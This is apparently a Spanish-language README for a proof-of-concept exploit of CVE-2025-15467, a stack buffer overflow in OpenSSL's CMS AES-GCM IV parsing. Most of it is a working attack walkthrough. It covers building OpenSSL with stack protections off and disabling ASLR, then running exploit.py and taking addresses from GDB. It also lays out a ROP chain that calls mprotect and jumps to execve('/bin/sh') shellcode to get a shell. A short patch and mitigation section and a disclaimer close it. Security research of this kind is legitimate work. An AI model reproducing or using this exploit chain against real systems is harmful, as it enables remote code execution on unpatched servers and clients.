
PoC de ejecución de comandos para el desbordamiento de búfer en la pila de OpenSSL CVE-2025-15467
CVE-2025-15467 es una vulnerabilidad crítica de desbordamiento de búfer en la pila en el código de análisis de CMS (Cryptographic Message Syntax) de OpenSSL. La vulnerabilidad existe en la función evp_cipher_get_asn1_aead_params() al procesar vectores de inicialización (IV) AES-GCM en estructuras CMS AuthEnvelopedData.
| Propiedad | Valor |
|---|
| CVE ID | CVE-2025-15467 |
| Gravedad | Alta |
| CVSS | 8.1+ |
| Versiones afectadas | OpenSSL 3.0 - 3.6 (antes de los parches) |
| Impacto | Ejecución remota de código (RCE) |
| Vector de ataque | Red (análisis de CMS/S-MIME malicioso) |
| Autenticación | No requerida |
La vulnerabilidad se encuentra en crypto/evp/evp_lib.c:
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
evp_cipher_aead_asn1_params *asn1_params)
{
int i = 0;
long tl;
unsigned char iv[EVP_MAX_IV_LENGTH]; // Búfer fijo de 16 bytes
if (type == NULL || asn1_params == NULL)
return 0;
i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
if (i <= 0)
return -1;
// ERROR: Usa 'i' (controlado por atacante) como max_len en lugar de EVP_MAX_IV_LENGTH
ossl_asn1_type_get_octetstring_int(type, &tl, iv, i); // DESBORDAMIENTO
memcpy(asn1_params->iv, iv, i);
asn1_params->iv_len = i;
return i;
}
iv es un búfer fijo de 16 bytes en la pila (EVP_MAX_IV_LENGTH = 16)ossl_asn1_type_get_octetstring_int() devuelve la longitud del IV desde el archivoi) como parámetro max_leni > 16, la función escribe más allá del búfer → Desbordamiento de búfer en la pilaEl desbordamiento ocurre durante el descifrado CMS al analizar los parámetros GCM. Un atacante puede:
Cualquier aplicación que analice contenido CMS/PKCS#7 no confiable con cifrados AEAD:
CMS_decrypt() o funciones similares# Instalar dependencias
pip install pwntools # Opcional, para detección automática de gadgets
# Clonar este repositorio
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467
# Ejecutar script de configuración para compilar OpenSSL vulnerable
chmod +x setup.sh
./setup.sh
O manualmente:
# Descargar y compilar OpenSSL 3.4.0 vulnerable
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0
# Compilar SIN protector de pila para una demostración más sencilla
./Configure linux-x86_64 \
--prefix=/opt/openssl-vuln \
-fno-stack-protector \
-D_FORTIFY_SOURCE=0 \
-z execstack
make -j$(nproc)
sudo make install
cd ..
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64
# Generar clave y certificado
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
-days 1 -subj "/CN=Test"
# Crear archivo CMS válido (necesario como plantilla)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
-in plain.txt -out valid.cms -outform DER dummy.crt
# Verificar que funcione
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
-inkey dummy.key -recip dummy.crt
El exploit puede detectar automáticamente las direcciones cuando ASLR está deshabilitado:
# Deshabilitar ASLR (requiere root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Ejecutar exploit con detección automática
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
/opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt
# Ejecutar el exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
# ¡Deberías obtener un shell!
Si la detección automática falla, obtén las direcciones manualmente:
# Obtener direcciones desde GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl
(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings # Obtener direcciones base de libc y libcrypto
(gdb) continue
(gdb) # Cuando llegue a evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp # Obtener dirección de la pila
Salida de ejemplo:
libc-2.31.so: 0x7ffff7711000
libcrypto.so.3: 0x7ffff7936000
RSP: 0x7fffffffdc58
Luego genera el exploit:
# Generar exploit con direcciones manuales
# Argumentos: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms
# Ejecutar exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
mprotect() y hacer que la pila sea ejecutablemprotect(), salta al shellcode en la pila mediante un gadget jmp rspexecve("/bin/sh", NULL, NULL) para lanzar un shell[relleno: 56 bytes hasta alcanzar RIP guardado]
[pop rdi; ret] <- Establecer RDI = stack_page (primer argumento de mprotect)
[dirección de stack_page]
[pop rsi; ret] <- Establecer RSI = 0x1000 (segundo argumento de mprotect)
[0x1000]
[pop rdx; pop rbx; ret] <- Establecer RDX = 7 (PROT_RWX, tercer argumento de mprotect)
[7]
[0] <- Valor ficticio para RBX
[mprotect] <- Llamar a mprotect(stack_page, 0x1000, 7)
[jmp rsp] <- Saltar al shellcode
[shellcode] <- execve("/bin/sh", NULL, NULL)
| Archivo | Descripción |
|---|---|
exploit.py | Exploit principal con modos automático y manual |
setup.sh | Script para compilar OpenSSL vulnerable |
README.md | Esta documentación |
TECHNICAL.md | Análisis técnico profundo de la vulnerabilidad |
Actualizar OpenSSL a las versiones parcheadas:
No procesar contenido CMS/S-MIME no confiable hasta estar parcheado
if (i > EVP_MAX_IV_LENGTH)
return -1;
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);
| Fecha | Evento |
|---|---|
| 2025-12-14 | Vulnerabilidad reportada a OpenSSL |
| 2026-01-27 | Aviso de seguridad publicado |
| 2026-01-27 | Parches publicados |
Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Úsalo de forma responsable.
Licencia MIT - Consulta el archivo LICENSE para más detalles.